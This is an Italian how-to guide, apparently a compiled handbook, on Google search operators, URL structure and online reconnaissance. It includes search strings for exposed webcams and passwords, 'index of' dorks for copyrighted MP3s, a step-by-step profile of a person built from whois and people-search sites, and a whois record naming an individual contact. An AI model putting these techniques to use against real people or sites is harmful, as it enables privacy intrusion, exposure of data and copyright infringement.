LibroHackerVol

Transcript

LibroHackerVol
RICERCHE CON GOOGLE
Termini utili
Query: Una parola, frase o un gruppo di parole, meglio se combinata con altra
sintassi, utilizzata per istruire un motore di ricerca o directory affinché individui
pagine Web.
Keyword: Parola facente parte di un interrogazione (query) ad un motore di ricerca, serve a identificare l'argomento al quale le pagine Web trovate dovrebbero
attenersi.
I primi operatori
Scelta delle keyword
La scelta delle keyword è fondamentale. Tenete a mente questi piccoli consigli
quando fate una ricerca:
Come prima cosa provate con le keyword ovvie. Se cercate informazioni su Picasso usate [Picasso], non [pittori].
Pensate a quali parole potrebbero essere sulla pagina che cercate. [Hotel Firenze]
darà risultati più rilevanti di [un bel posto dove trascorrere il fine settimana].
Non strutturate le vostre query sotto forma di domanda: è più probabile che troviate una pagina che contenga la domanda piuttosto che la risposta che cercate.
Ad esempio, la seguente query [dove posso fare domanda per ottenere un visto
per l'egitto], non vi sarà utile quanto questa query [domanda richiesta visto egitto].
Cercate di essere il più specifici possibile. [automobili modellino ferrari] vi sarà
di più aiuto di [vecchi giocattoli].
Se la ricerca non da i risultati sperati provate a cercare dei sinonimi delle keyword che state usando.
Cercate di pensare a una frase che potrebbe comparire sulla pagina e inseritela
proprio come la potreste trovare. Ad esempio per cercare il titolo di una canzone
che ho sentito in radio dico a Google di cercare tutte le parole che ho sentito in
radio e aggiungo la keyword "lyrics" (che in inglese significa "testo" riferito a
una canzone).
Se siete bloccati con le keyword, potete utilizzare questo Google Sets, un servizio che vi aiuta a costruire gruppi di oggetti con proprietà comuni. Ad esempio
per dare aria ad una ricerca sulle arti marziali potete inserire keyword come karate, judo, jiu-jitsu, kung fu e kendo e Google vi restituirà una lista di arti marziali
con cui potrete sviluppare il vostro lavoro.
AND
La prima cosa da imparare è che l'operatore AND è automatico in Google. In altre parole lui cercherà tutte le parole che voi inserite. In effetti Google farà di
1
più: cercherà tutte le parole da voi inserite dando maggiore importanza a quelle
pagine che contengono tutte le parole nell'ordine in cui voi le avete inserite.
La query [iraq] da dei risultati ben inferiori (in termini qualitativi, non in termini
numero di risultati) alla query [iraq guerra golfo].
Invece la query [iraq guerra golfo] darà gli stessi risultati di [guerra golfo iraq],
ma questi ultimi saranno ordinati in modo diverso.
Quando effettuate una ricerca è importante cercate di pensare a una frase che potrebbe essere contenuta nella pagina che cercate e inserire le parole che compongono quella frase.
Per cercare, ad esempio, il significato di una parola molto specifica a un determinato settore che non conosco e che non trovo sui dizionari specializzati, uso
una query come segue: [definizione xxx] oppure [glossario xxx]. Dove xxx è il
termine che mi interessa.
Il mio ragionamento è che una pagina che mi spiega il significato di una parola
includerà anche la parola "definizione" o "glossario" . Se avessi inserito solo il
termine è molto probabile che avrei ottenuto solo pagine in cui viene utilizzato il
termine nel corpo del discorso.
Parole comuni
Google ignora le parole ed i caratteri comuni, denominati anche "stop words" ,
scartando automaticamente termini come "http" e ".com" nonché alcune singole
cifre e lettere, dal momento che questi termini non aiutano a restringere il campo
di ricerca ma anzi contribuiscono a rallentare i tempi di ricerca. È quindi inutile
inserire queste parole all'interno di una query.
Per Google query come [iraq guerra golfo] e [iraq la guerra golfo] sono equivalenti.
Vedremo dopo come fare in modo che queste parole vengano cercate lo stesso
quando è importante che lo siano.
Massimo 10 parole
Una query può avere una lunghezza massima di 10 parole. Parole inserite oltre il
limite non verranno considerate da Google.
Lettere maiuscole/minuscole o accenti
Google non fa distinzione tra lettere minuscole e maiuscole poiché considera tutte le lettere come minuscole. Ad esempio, digitando [google], [GOOGLE] e
[GoOgLE] si ottengono sempre gli stessi risultati.
Stando alla documentazione ufficiale di Google, "per impostazione predefinita,
Google non riconosce accenti o altri segni diacritici. In altre parole, se si digita
[Munchen] e [München] si otterranno gli stessi risultati."
In realtà provando a fare ricerche per queste due parole si otterranno risultati
molto diversi tra di loro. Ancora più strano, è però il fatto che la stessa ricerca,
2
limitando i risultati a specifiche lingue, da risultati ancora diversi. In caso di ricerche importanti è consigliabile provare più modi di scrivere la stessa parola.
Ortografia
Il correttore ortografico di Google verificherà automaticamente la vostra query
per vedere se state utilizzando la versione più comunemente utilizzata per scrivere una parola. Se calcola che la probabilità di ottenere più risultati con un altro
modo di scriverla sia alta vi chiederà se modificare la query.
Siccome il correttore ortografico di Google si basa sul numero di ricorrenze di
tutte le parole su Internet, Google è in grado di suggerire modi di scrivere la parola che non sono presenti sui dizionari comuni.
Alcune persone usano questo sistema per verificare l'ortografia di parole di cui
hanno dei dubbi. Se Google suggerirà un altro modo di scrivere la parola inserita,
allora ci sono buone probabilità che questa parola sia sbagliata.
OR
L'operatore OR dice a Google di cercare una keyword oppure l'altra: è indifferente. La query [Hotel Firenze OR Roma] troverà quindi tutti gli hotel di Firenze
e Roma anche se le due città non appaiono nella stessa pagina.
Apostrofo
Cercare [dell'orto] e [dell orto] comporta risultati diversi.
Ricerche Booleane e altri operatori
Ricerche booleane
Google supporta solo un limitato numero di operatori booleani (in realtà si tratta
dei soli operatori AND e OR) e anche questi sono supportati piuttosto male. Per
cui se siete degli amanti di questo tipo di logica riuscirete a lavorarci poco.
Ecco alcuni esempi di ricerche che funzionano su Google:
[x AND y]
[x OR y]
[x AND (y OR z)]
[(x OR y) AND (z OR w)]
[x AND (y OR z OR w)]
[x AND (y OR z) AND w]
Preghiamo notare che:
l'operatore "OR" dev'essere scritto in maiuscolo
l'operatore "AND" può essere omesso
le parentesi non servono; sono state incluse qui solo per chiarezza
A dimostrazione dell'ultima affermazione portiamo ad esempio questa query che,
su Google, non funziona:
[(x AND y) OR (z AND q)]
3
L'operatore "+"
Un modo per far sì che anche le parole comuni siano incluse nella ricerca è di anteporre il segno "+" prima della parola stessa.
Ad esempio la query [Guerre Stellari Episodio 1] non cercherebbe il numero "1".
Inserendo invece la query nel seguente modo [Guerre Stellari Episodio +1] si ottiene il risultato desiderato.
Preghiamo notare che c'è uno spazio prima del segno "+", ma NON c'è dopo.
Le virgolette
Questo è un altro modo per indicare che tutte le parole vanno incluse nella query.
Quindi [Guerre Stellari Episodio +1] e ["Guerre Stellari Episodio 1"] sono equivalenti.
Ma le virgolette sono molto più potenti e dicono a Google di cercare la query esattamente come è stata inserita. In altre parole, mentre nel primo caso Google
cerca una pagina contenente le quattro keyword dando una rilevanza maggiore
alle pagine che hanno le keyword in quest'ordine, nel secondo caso Google cercherà esattamente quella frase.
Attenzione quindi a non abusare delle virgolette o non otterrete alcun risultato.
L'operatore "-"
Il segno "-" prima di una parola ha l'effetto contrario al "+" indicato prima.
Un utilizzo classico dell'operatore "-" è per vedere quali siti linkano un determinato sito.
["www.pc-facile.com" -site:www.pc-facile.com]
Le virgolette indicano che anche ".com" (cioè una parola comune va inclusa nella query). Il segno meno invece dice a Google che "www.pc-facile.com" non deve essere nel sito www.pc-facile.com, altrimenti i risultati indicherebbero anche
tutte le pagine interne del sito www.pc-facile.com, ma che ci siano link interni ad
un sito lo sappiamo già.
Comodo, no?
Ricerca di radici di parole (stemming)
Per garantire la massima precisione nei risultati, Google non supporta la ricerca
di radici di parole ("stemming") né le ricerche con caratteri "jolly" (wild card). In
altre parole, Google cerca solo le parole esattamente come digitate nel campo di
ricerca. Se si inserisce [googl] o [googl*], il risultato non sarà "googler" o "googlin". In caso di dubbio, provare ad usare sia il singolare che il plurale; ad esempio "linea aerea" e "linee aeree".
Da notare che questo è valido per tutte le lingue tranne l'Inglese; lingua che invece supporta lo stemming.
4
L'operatore "*"
I caratteri jolly non funzionano come siamo abituati. Normalmente l'asterisco, e
il punto di domanda, sostituiscono uno o più caratteri all'interno di una parola.
Ad esempio [port*] troverà "porta", "porte", ma anche "portone" e "portacenere".
Google lo interpreta invece in un altro modo, utilizzando l'asterisco come fosse
una parola intera. Per trovare quindi "a caval donato non si guarda in bocca",
possiamo usare la query [a caval * * * * in bocca]. Come potete vedere si possono utilizzare più asterischi all'interno di una query.
L'operatore "~" (alt + 126)
Mettere "~" prima di una parola dice a Google di cercare anche sinonimi e le parole correlate con la parola che precede. Una ricerca per [cervino ~mappa] troverà anche pagine che includono le parole "passeggiata", "sentiero" e "bussola".
La ricerca dei sinonimi troverà alle volte anche i plurali di una parola e altri varianti grammaticali. La ricerca di prima troverà quindi anche "mappe" e "cartine".
Attenzione: in realtà questo operatore funziona solo su parole contenute nel dizionario Inglese. Gli esempi qui riportati sono stati presentati solo per chiarezza.
Ricerca per categorie
La directory Google è uno strumento molto utile per effettuare ricerche limitate
su un argomento specifico. Ad esempio, per visualizzare solo risultati relativi al
pianeta Saturno, è sufficiente selezionare "Saturno" nella categoria Scienze > Astronomia della directory Google. In questo modo si evita che vengano visualizzati risultati relativi alla macchina Saturn, al gioco omonimo o altri risultati che
possano essere correlati al termine Saturno.
Le ricerche all'interno di categorie specifiche permettono di restringere il campo
di ricerca e di visualizzare rapidamente solo le pagine desiderate.
http://directory.google.com/
I punti deboli di Google
Nonostante la grande rilevanza dei risultati di Google, anche questo motore ha i
suoi limiti. Oltre a quelli già indicati in precedenza aggiungiamo che:
Google indicizza solo i primi 101KB di HTML di una pagina e circa i primi
120KB di un documento PDF.
Google ha problemi a cercare caratteri speciali come: &, %, #, @, $, £, €, +, -, /,
*, =, <, {, [, (, ), ], }, >, :, ;, ! e ?
Solitamente ignora questi caratteri, ma sta cominciando a introdurre il supporto
5
per alcuni come:
I/O.
Le note in formato anglo-sassone: A_, A#, B_, B#, C_, C#, D_, D#, E_, E#, F_,
F#, G_, G#.
Si possono usare i caratteri speciali &, + e _ una o più volte nel mezzo o alla fine
di uno parola. Ad esempio: A+, a_, C++, net__, page_count, i++++, a&b&c,
i&&, "Johnson +& Johnson". Non si può però usare il "+" di fronte ad una parola
o numero. Ad esempio +i, "++numero".
site:
L'operatore site è uno dei più comodi e utili tra gli operatori di Google.
È purtroppo abbastanza facile trovare siti il cui search interno non è molto buono
per cui cercare qualcosa è un incubo. Una soluzione è quella di usare Google
come motore di ricerca.
Infatti Google fa talmente bene questo lavoro che adesso offre gratuitamente
questo servizio ai siti che lo richiedono.
L'operatore "site:" specifica a Google di cercare solo tra le pagine di un determinato sito.
[guerra golfo iraq site:www.corriere.it] cercherà solo tra le pagine del Corriere
della Sera.
Attenzione, questo operatore funziona bene su siti che hanno dei grossi archivi
che vengono aggiornati raramente e che non dispongono di una funzione di ricerca interna adeguata. Siti il cui contenuto cambia velocemente, come ad esempio nel caso dei forum, non daranno dei buoni risultati in quanto Google non sarà
mai aggiornato quanto il motore di ricerca interno.
Questo operatore ha inoltre il vantaggio di trovare documenti male indicizzati da
un sito o che non compaiono nel search interno. Addirittura, un documento non
più linkato può essere ancora presente negli indici di Google, come pure un documento che è stato cancellato dal proprietario del sito (gli esempi migliori potete trovarli sul sito della Microsoft).
Cancellare qualcosa, che è stato reso pubblico su Internet, è molto molto difficile. Fate sempre attenzione a cosa divulgate: è difficile tornare indietro.
Filetype: esegue la ricerca solamente all'interno di archivi di un specifico tipo.
Questo operatore istruisce Google a percorrere solamente all'interno del testo di
un particolare tipo di archivio.
Questo operatore richiede un argomento di ricerca supplementare.
6
Esempio:
filetype:txt endometriosis
Cerca la parola endometriosis all’interno di file txt. Per una ricerca più complessa è possibile utilizzare le virgolette.
Filetype:txt “router switch”
Tipi di estensioni:
Adobe Portable Document Format (pdf)
Adobe PostScript (ps)
Lotus 1-2-3 (wk1, wk2, wk3, wk4, wk5, wki, wks, wku)
Lotus WordPro (lwp)
MacWrite (mw)
Microsoft Excel (xls) si possono trovare informazioni riservate
Microsoft PowerPoint (ppt)
Microsoft Word (doc)
Microsoft Works (wks, wps, wdb)
Microsoft Write (wri)
Rich Text Format (rtf)
Text (ans, txt)
link: www.nomesito.it elenca tutte le pagine nel web che contengono un link al
sito specificato. Dopo i : ci vuole lo spazio.
intitle:cerca all’interno del titolo del documento.
Questo operatore istruisce Google a cercare un termine all'interno del titolo di un documento.
Questo operatore non richiede altri argomenti di ricerca.
Esempio:
intitle:gandalf
Questa consultazione esporrebbe solamente pagine che hanno contenuto la parola 'il gandalf' nel titolo.
Un derivativo di questo operatore, 'allintitle' si comporta in una maniera
simile.
Esempio:
allintitle:gandalf silmarillion
7
Questa consultazione trova ambo le parole 'gandalf' e 'silmarillion' nel titolo di una pagina.
L’operatore 'allintitle' istruisce Google a trovare solamente ogni parola
susseguente nella consultazione nel titolo della pagina. Questo è equivalente ad una sequenza di ricerche intitle.
Inurl: ricerca all'interno dell'URL di una pagina
Questo operatore istruisce Google a percorrere solamente all'interno dell'URL, o indirizzo di web di un documento. Questo operatore non richiede altri argomenti di ricerca.
Esempio:
inurl:amidala
Questa consultazione esporrebbe pagine con la parola 'amidala' nell'indirizzo di web.
Un risultato può essere:
http://www.yarwood.org/kell/amidala /
contiene la parola 'amidala' come il nome di un elenco. La parola può
apparire dovunque all'interno dell’ indirizzo web, incluso il nome del luogo o il nome di un archivio.
Un derivativo di questo operatore è:allinurl lavora in una maniera simile.
Esempio:
allinurl:amidala gallery
Questa consultazione trova ambo le parole 'amidala' e 'gallery' nell'URL
di una pagina.
Questo è equivalente ad una sequenza di ricerche inurl.
Per un elenco completo di operatori avanzati ed il loro uso, vedere
http://www.google.com/help/operators.html.
Related: La consultazione [related:] elencherà le pagine web che sono
"simili" ad una pagina web specificata. Per esempio, [related:www.google.com] elencherà pagine web che sono simili al Google
homepage.
Notare che non ci deve essere nessuno spazio tra il "related: " e l'url
della pagina web.
Questa funzione è anche accessibile cliccando sulle "Pagine Simili" del
collegamento sulla pagina di risultati principale di Google, e dalla pagina
di Ricerca Avanzata, o pagine simili.
Ext: indica a Google di cercare un file con un'estensione particolare (come filetype:
8
9
Google oltre ogni limite: non solo ricerca
Calcolatrice scientifica: inserendo la stringa 2+4*18/9+3 google restituisce
2 + ((4 * 18) / 9) + 3 = 13
Si possono usare anche operatori matematici, trigonometrici, logaritmici e costanti.
Convertitore unità di misura: inserendo 37 Km in cm otteniamo
37 kilometers = 3 700 000 centimeters
Si può convertire anche tra unità di misura di paesi diversi esempio:
80 m in yards restituisce 80 meters = 87.4890639 yards
Sfogliare libri su internet: è possibile consultare libri , manuali e testi direttamente on-line basta collegarsi al sito: http://print.google.com inserire la parola
chiave e cliccare su Search Print. Nella schermata successiva compaiono i libri
che trattano l’argomento: buona lettura.
Trucco: se da www.google.it clicchiamo su google.com in English e scriviamo
books abouts seguito dal titolo del libro, se è disponibile nell’archivio di google
print, viene restituita un’icona del libro.
Trattati scientifici e tesi: http://scholar.google.com
Stringhe per ricerche: collegarsi al sito http://johnny.ihackstuff.com e consultare GHDB(Google Hacking Database) all’interno del quale si trovano stringhe di
ricerca di webcam, password ecc.
Ciascuno di noi lascia una traccia, soprattutto se naviga in rete.E chi non lo fa?
Per non parlare degli efficienti servizi che rendonola vita di tutti più comoda, più
sicura, più completa e agevole.
Non ci vuole molto a verificare un nome nelle pagine bianche(
www.paginebianche.it ). Un colpo
di clic e otto volte su dieci abbiamo I'indirizzo, il telefono e spesso il tipo di attività della persona
cercata. Ovunque in Italia. Come, l’attività, la ragione sociale s'intende, della
piccola società da lui fondata. In fondo il nostro paese è ricco di piccole e medie
imprese: Che appaiono ovviamente ben catalogate sotto lo stesso nome. Perché
nelle società di persone la ragione sociale contiene obbligatoriamente anche il
nome del principale proprietario: Ma.non sempre è cosi facile. A chi sarà
intestata la srl a cui dovrei pagare l'affitto? Chi è l'amministratore delegato?
Non ho particolari elementi. Ma la cerco sulle pagine gialle (
www.paginegialle.it ) che a volte contiene anche l’E-mail .
Prendo nota del dominio [email protected]. Anzi,provo immediatamente a digitare nel browser www.dominio.it e poi anche .com. Nel novanta percento dei casi
10
hanno almeno una paginetta sul web. E nèl novanta percento dei casi pubblicano
più informazioni di quante sarebbero necessarie.
Annoto i'indirizzo e lo inserisco su www.viamichelin.com per una mappa della
zona.
Un saltopresso il RIPE ( www.ripe.net ) e gli dò in pasto il nome di dominio.
Voilà. Come nel novanta per cento dei casi si trova il nome dell’amministratore
delegato, il suo telefono, l’indirizzo e tante informazioni utili. Prendo il nome e
chiamo il sito della camera di commercio ( www.infoimprese.it ) Due clic e leggo perfino l'estratto dello Statuto. Grandioso.
Non mi avevano mai detto di avere un'attività primaria di import/export. Torno
un attimo sul sito, magari trovo la lista delle referenze di qualche cliente.
Eccola.Ne prendo uno che sembra citato più volte, forse per loro e importante.
Chi e?
Un giro su www.tools-net.com e con lo stesso trucco già visto ho le info del
mister
che ha registrato il dominio. Provo a verificarne qualche caratteristica. Avrai pure,qualche volta, utilizzato ICQ ... provo
www.freeonIinepeoplesearches.com/emai.htm Tombola! E' uno di quelli che in
rete ha lasciato tutto: recapito, interessi.
RICERCHE :STRINGERE IL CERCHIO
Servizi per sapere tutto di tutti:
http://www.chekdomain.com whois per conoscere I'intestatario, la nazionalità,la città, la residenza, i numeri telefonicie i nominativi dei responsabili tecnici legati a un dominio Internet, Utile a completare i dati ottenuti
da un risolutore di nomi di dominio o un tracer di indirizzi IP
Sicuramente da integrare con il database europeo http://www.ripe.net
Proviamo a cercare jcmaxwell.it
Domain:
jcmaxwell.it
Status:
ACTIVE
Created:
2001-05-03 00:00:00
Last Update:
2010-05-19 00:04:23
Expire Date:
2011-05-03
Registrant
Name:
ITIS J C MAXWELL
Organization: ITIS J C MAXWELL
ContactID:
ITIS156-ITNIC
Address:
Via XXV Aprile n 141
Nichelino
10042
TO
11
IT
Created:
2007-03-01 10:59:51
Last Update:
2007-03-01 10:59:51
Admin Contact
Name:
Maria Antonietta Campetti
ContactID:
MAC122-ITNIC
Address:
Via XXV Aprile n 141
Nichelino
10042
TO
IT
Created:
2001-05-03 00:00:00
Last Update:
2007-03-01 07:38:17
Technical Contacts
Name:
Maria Antonietta Campetti
ContactID:
MAC122-ITNIC
Address:
Via XXV Aprile n 141
Nichelino
10042
TO
IT
Created:
2001-05-03 00:00:00
Last Update:
2007-03-01 07:38:17
Registrar
Organization: Aruba s.p.a.
Name:
ARUBA-MNT
Nameservers
dns.technorail.com
dns2.technorail.com
%%REFERRAL END
http://www.utrace.de/ informazioni IP o sito, whois e mappa dove è situato
http://www.antifraud.com/ipcheck.htm : inserendo il nome del dominio o l’IP
si ottengono informazioni interessanti.
http://tools-on.net/ Un notevole insieme di servizi tra cui whois e molto altro, compresi alcuni elenchi di anonimizers.
hrtp://www.infoimprese.it Tutto quello che vi può servire conoscere di un'impresa italiana. Per verificare I'esistenza,la posizione e l'indirizzo di
una società(snc, sas, srl, spa). Verifica partita
IVA, data di inizio attività, l'esistenza di eventuali sedi secondarie, l'attività
dettagliata,i siti internet, gli indirizzi email, i numeri telefonici, il codice ISTAT, la ragione sociale esatta, le attivitd principali e secondarie e così
via.
12
http://www.agenziaentrate.it/servizi/vies/vies.htm verificate dal numero della partita Iva i'esistenza di una società, in tutta europa.
http://planetsearch.com Un motore multiricerca.Avete solo una labile traccia? Iniziate da qui.
http://virgilio.it/servizi/computer/020.html : indirizzi e-mail e servizio dedicato
http://coordinamento.mininterno.it/servpub/ver2/principale.htm targhe rubate,banconote false,documenti smarriti o rubati ecc
http://www.planetsearch.com/ per ricerche sui metamotori di tutto il mondo
http://www.staggernation.com/ per ricerche accurate e mirate
Draghi di google: trucchi per trovare a colpo sicuro
a) Google accetta una ricerca lunga al massimo 10 parole
b) Il segno – esclude una parola dalla ricerca mentre il + forza una ricerca
c) Query: stringa di interrogazione al motore di ricerca
d) * è considerato come wildcard per una parola qualunque, stranamente
non è conteggiato
e) intitle: cercare all’interno dei titoli degli articoli citati in google, si mette
all’inizio della query
f) site: cerca una parola nel sito es: sciopero site:corriere.it
MP3: senza passare da p2p
Google ha delle incredibili capacità di ricerca che molto spesso sottovalutiamo.
Eppure,con qualche suggerimento, possiamo esplorare dei mondi che nemmeno
immaginiamo,fatti di link, siti e file dove trovare esattamente quello che ci interessa.
Naturalmente, lo diciamo subito per evitare problemi: la recponsabilith di quello
che faremo è personale. Noi non sappiamo a cosa porterà la ricerca che potremo
fare.Quindi, per esempio, se tra tanti file mp3 offerti dagli stessi autori e liberamente utilizzabiline troviamo anche altri coperti da
copyright,attenzione, non scaricarli si infrange la stessa legge che riguarda i diritti d'autore e che ci impedisce, tramite p2p, di scambiare e scaricare qualunque file che
non sia libero o di nostra proprietà. Viceversa,tramite Google, nessuno potrà mai
accusarci di mettere on line file scaricati e protetti, come invece avviene in automatico con quasi tutti
13
i programmi p2p: sarebbe un reato che in Italia è punito ancora piu severamente.
Nel web i modi di archiviare i file mp3 sono moltissimi. Se riusciamo a immaginarci come impostare Google per restringere la ricerca esclusivamente a quello
che ci interessa.
Esempio: “index of” + intitle:mp3 + beatles inserita nella finestra di ricerca possiamo trovare, in formato mp3, i brani dei Beatles.
“ìndex of” titolo che normalmente si dà alla directory contenente i file.
intitle:mp3 la parola scelta (mp3) deve essere contenuta nei nomi del file
beatles rappresenta la stringa di cosa realmente ci interessa
Al posto di “index of” si può anche utilizzare :
“last modified” o “parent of”
Per stringere la ricerca possiamo utilizzare il segno – escludendo quindi per esempio –html –htm –php e –asp estensioni che non ci riguardano.
Es: inurl:(htm/html/php) intitle:”index of” +”parent directory” +description
+size +(wma/mp3) ”cantante” ovviamente al posto di cantante il nome o il
gruppo.
Un metodo generale: stringa directory + tipo file + nome mp3 + esclusioni
Stringa directory: “index of” “last modifield” “parent of”
Tipo file: mp3 shn(shorten:file compresso) wma(Windows media audio)
Nome mp3: nome dell’album, dell’artista, ecc. naturalmente tra “ “
Esclusioni: -html –htm –php –asp –txt –pls (col segno meno)
Inurl: per cercare dentro gli url
-filetype:txt per eliminare alcuni falsi positivi
-playlist per eliminare alcuni falsi positivi
Che cos'è e come è fatto un URL?
Come visto, per poter recuperare un qualsiasi oggetto posto in rete è necessario
conoscere:
Dove è situato (ossia il nome della macchina, il percorso sull'hard disk della
macchina e il nome del file);
Con che protocollo esso può essere recuperato.
Per racchiudere in un unico "indirizzo" tutte queste informazioni è stato creato
uno schema detto URL (Uniform Resource Locator, ossia Localizzatore Uniforme di Risorse). Un URL assume normalmente la forma seguente:
metodo://nomemacchina:porta/nomeoggetto
dove il metodo (di accesso alla risorsa, anche detto schema) può valere solitamente http, ftp, telnet, news, mailto o file a seconda del protocollo che si
deve utilizzare; il nomemacchina è il nome (letterale o IP) del computer su cui
si trova l'oggetto; la porta (solitamente sottintesa, nel qual caso si assume un valore standard che varia a seconda del protocollo scelto) è il numero della porta
14
con cui si intende comunicare con la macchina (argomento tecnico che potete al
momento tralasciare); il nomeoggetto è il nome completo (percorso e nome
del file) dell'oggetto. Anche qui, non preoccupatevi se non avete afferrato subito
tutto: nel resto del capitolo troverete vari esempi di URL, e comunque la pratica
vi sarà di grande aiuto.
La stragrande maggioranza delle macchine collegate alla rete - almeno, quelle su
cui vengono realizzati gli ipertesti, gli archivi di software... - sono grossi calcolatori che funzionano con il sistema operativo Unix; pertanto i nomeoggetto seguono per definizione (e anche quando la macchina a cui ci si collega è un PC) le
convenzioni dello Unix, e non, ad esempio, dell'MS-DOS. Nella pratica, questo
significa alcune cose importanti da tenere a mente:
Le barre che compaiono negli URL sono diritte (cioè / ) e non rovesciate ( \ )
come quelle dell'MS-DOS!
Mentre per quanto riguarda il metodo e il nomemacchina non c'è differenza
tra maiuscole e minuscole (sebbene comunemente si usino solo minuscole), per
quanto riguarda il nomeoggetto la differenza c'è: scrivere i nomi dei file o delle directory in maiuscolo, in minuscolo, o con l'iniziale maiuscola e il resto minuscolo fa differenza, e può impedirvi di recuperare l'oggetto!
In realtà, lo schema dell'URL varia leggermente a seconda del protocollo scelto,
per cui può essere utile esaminare alcuni esempi:
http://www.cl.ais.net/mkurth/atsfaq.html
Questo indirizzo corrisponde all'ipertesto atsfaq.html (gli ipertesti sono individuati dall'estensione .html o .htm) posto nella directory mkurth situata nella
directory radice (root) del computer www.cl.ais.net (ossia, il computer www
situato nel sottoinsieme cl del sottoinsieme ais del dominio net), da trasferire
seguendo il protocollo HTTP.
http://www.polito.it/~bertola/
Questo indirizzo, simile al precedente, presenta però alcuni aspetti particolari.
Per prima cosa, vi è indicato un percorso (/~bertola/) ma non un nome di file;
in questo caso, e solo per il protocollo HTTP, viene sottinteso il nome di file index.html (notare l'estensione di quattro caratteri: nello Unix non c'è la limitazione a tre caratteri!); se questo file c'è, esso viene letto come ipertesto (vista la
sua estensione .html, che indica appunto un ipertesto); se questo file non vi fosse, a seconda della configurazione del sito, viene presentato un elenco dei file
contenuti nella directory indicata e l'utente può sceglierne uno, o viene restituito
un messaggio d'errore.
Va inoltre notato il carattere speciale ~ (se non l'avete sulla tastiera del vostro
PC, potete realizzarlo tenendo premuto il tasto Alt sinistro, digitando il numero
126 sul tastierino numerico, e quindi rilasciando Alt). Esso indica che il nome
seguente è il nome di un "utente" del computer, e non un normale percorso sul-
15
l'hard disk. Di fatto, la scrittura /~bertola/ è un altro modo per indicare la
directory public_html (è un nome convenzionale, che significa "ipertesti pubblici"!) posta all'interno dell'area dell'utente bertola. Per farla breve, indirizzi
contenenti ~ corrispondono solitamente a pagine scritte da singoli utenti nel proprio tempo libero (home page), mentre gli indirizzi senza ~ si riferiscono solitamente a pagine ufficiali dell'ente o dell'azienda possessori del computer.
Si noti infine la barra ( / ) finale: con molti browser non è necessaria, ma è utile
abituarsi a metterla in quanto indica e permette di sapere immediatamente che
l'ultimo nome scritto prima (nel nostro caso, ~bertola) rappresenta una
directory e non un file.
ftp://ftp.coast.net/SimTel/win3/sysutil/3dk24.zip
Questo indirizzo individua il file 3dk24.zip (che, come dice l'estensione, è un
archivio realizzato con PkZip) situato nella directory /SimTel/win3/sysutil/
(sono tre directory una dentro l'altra: notare che SimTel è diverso da simtel!)
del computer ftp.coast.net e da trasferire mediante il protocollo FTP e da un sito FTP anonimo.
L'inserimento dell'URL di un file su di un browser provocherà lo scaricamento
del file (ossia la copia dal computer remoto al proprio) e una azione che varierà a
seconda dell'estensione del file, che può essere configurata dall'utente e che generalmente sarà poi il salvataggio su disco.
ftp://ftp.sunet.se/pub/pc/
Questo indirizzo individua la directory (come si desume dalla barra finale: se
non ci fosse, individuerebbe un file) denominata pc e contenuta nella directory
pub della root directory del computer ftp.sunet.se, alla quale si vuole accedere
tramite il protocollo FTP usato in modo anonimo.
L'inserimento in un browser dell'URL di una directory con protocollo FTP provoca la visualizzazione dell'elenco dei file contenuti in essa, preceduto in certi
casi da messaggi informativi predisposti dall'amministratore del sito remoto.
telnet://165.113.211.4:4801
Questo indirizzo individua un collegamento mediante il protocollo TELNET con
il computer 165.113.211.4 (individuato non mediante il suo nome letterale,
ma mediante il suo indirizzo IP) usando la porta numero 4801.
gopher://gopher.polito.it/
Questo indirizzo determina un collegamento con il gopher del Politecnico di Torino. Verranno presentati una serie di menu che permetteranno di scaricare file di
vario tipo.
mailto:[email protected]
Sui browser che supportano la spedizione di posta, ossia tutti quelli pubblicati
negli ultimi due anni, l'immissione di questo indirizzo provoca l'apertura di una
finestra nella quale è possibile inserire un messaggio. Il messaggio viene succes-
16
sivamente spedito, seguendo il protocollo SMTP, all'utente bertola del computer o dominio athena.polito.it (si veda la sezione sugli E-mail per il significato
di @!).
news:it.faq
Questo indirizzo individua il newsgroup it.faq, sottintendendo il "nomemacchina" (che sarà quindi quello specificato come default nella configurazione del
programma che si sta usando per leggere le news). Per altre informazioni sugli
URL delle news, si legga la sezione sui newsgroup.
file:///C|/Doc/inizio.htm
Il metodo file serve per recuperare file direttamente dal proprio hard disk, senza
usare la rete; in questo caso, l'indirizzo corrisponde al file inizio.htm posto nella directory C:\Doc di un PC con Windows. Si noti che l'indirizzo rispetta comunque le convenzioni Unix sopra citate: le barre sono state convertite da rovesciate a diritte, e i due punti - carattere che negli URL, come visto, indica il numero di porta - sono stati convertiti nella barra verticale (quella che, sulle tastiere
italiane, è normalmente posta sull'ultimo tasto in alto a sinistra). Le barre iniziali
sono tre e non due, in quanto dovrebbero esserci le due barre iniziali, poi il nome
della macchina, poi un'altra barra, ma il nome della macchina è sottinteso!
Sono stati presentati esempi relativi a tutti i metodi di accesso normalmente usati; in realtà, molti browser recenti utilizzano internamente altri metodi non standard per indicare altri tipi di risorse, che comunque l'utente non dovrebbe utilizzare direttamente.
In conclusione, va detto che non tutti i programmi usati in rete si servono degli
URL per individuare l'oggetto che l'utente desidera. Tipicamente, l'uso degli
URL è associato all'uso di un browser: in essi è possibile chiedere al programma
di recuperare un oggetto fornendo direttamente l'URL. Invece, se si utilizzano altri programmi, ad esempio per la posta, o per il trasferimento di file, o per la lettura delle news, normalmente verrà chiesto di identificare l'oggetto fornendo le
stesse informazioni (nome del computer, nome del file...) in un modo diverso e
variabile da programma a programma. La grande innovazione degli URL, che è
alla base dell'esplosione di Internet avvenuta negli ultimi due anni, è proprio
quella di racchiudere in un unico insieme di caratteri tutte le informazioni necessarie per individuare un oggetto messo in rete!
11.13. A cosa servono quegli URL contenenti strani simboli come #, ?, +, % ?
Allo scopo di rendere gli URL estremamente flessibili, è possibile includere al
loro interno una serie di dati che non riguardano direttamente l'individuazione
dell'iperoggetto che con essi si vuole recuperare, ma sono piuttosto informazioni
ulteriori che devono essere comunicate dal browser al server e viceversa. In particolare:
Il carattere #, posto al termine di un indirizzo che individua un ipertesto, serve ad
individuare una particolare posizione (un capitolo, un titolo, una voce di glossa-
17
rio...) al suo interno; mentre un normale URL ipertestuale provoca da parte del
browser la visualizzazione dell'inizio della pagina, un URL di questo tipo farà sì
che la pagina venga visualizzata a partire da un punto del testo individuato dalla
parola che segue il carattere #, grazie ad una particolare tag inserita in tale punto
dell'ipertesto. Un esempio sono gli URL che corrispondono alle singole domande
in questa guida!
Il carattere ?, posto al termine di un indirizzo che individua - normalmente - un
programma CGI, indica che la stringa seguente costituisce una serie di argomenti
da passare al programma suddetto: un caso tipico sono i programmi di ricerca nei
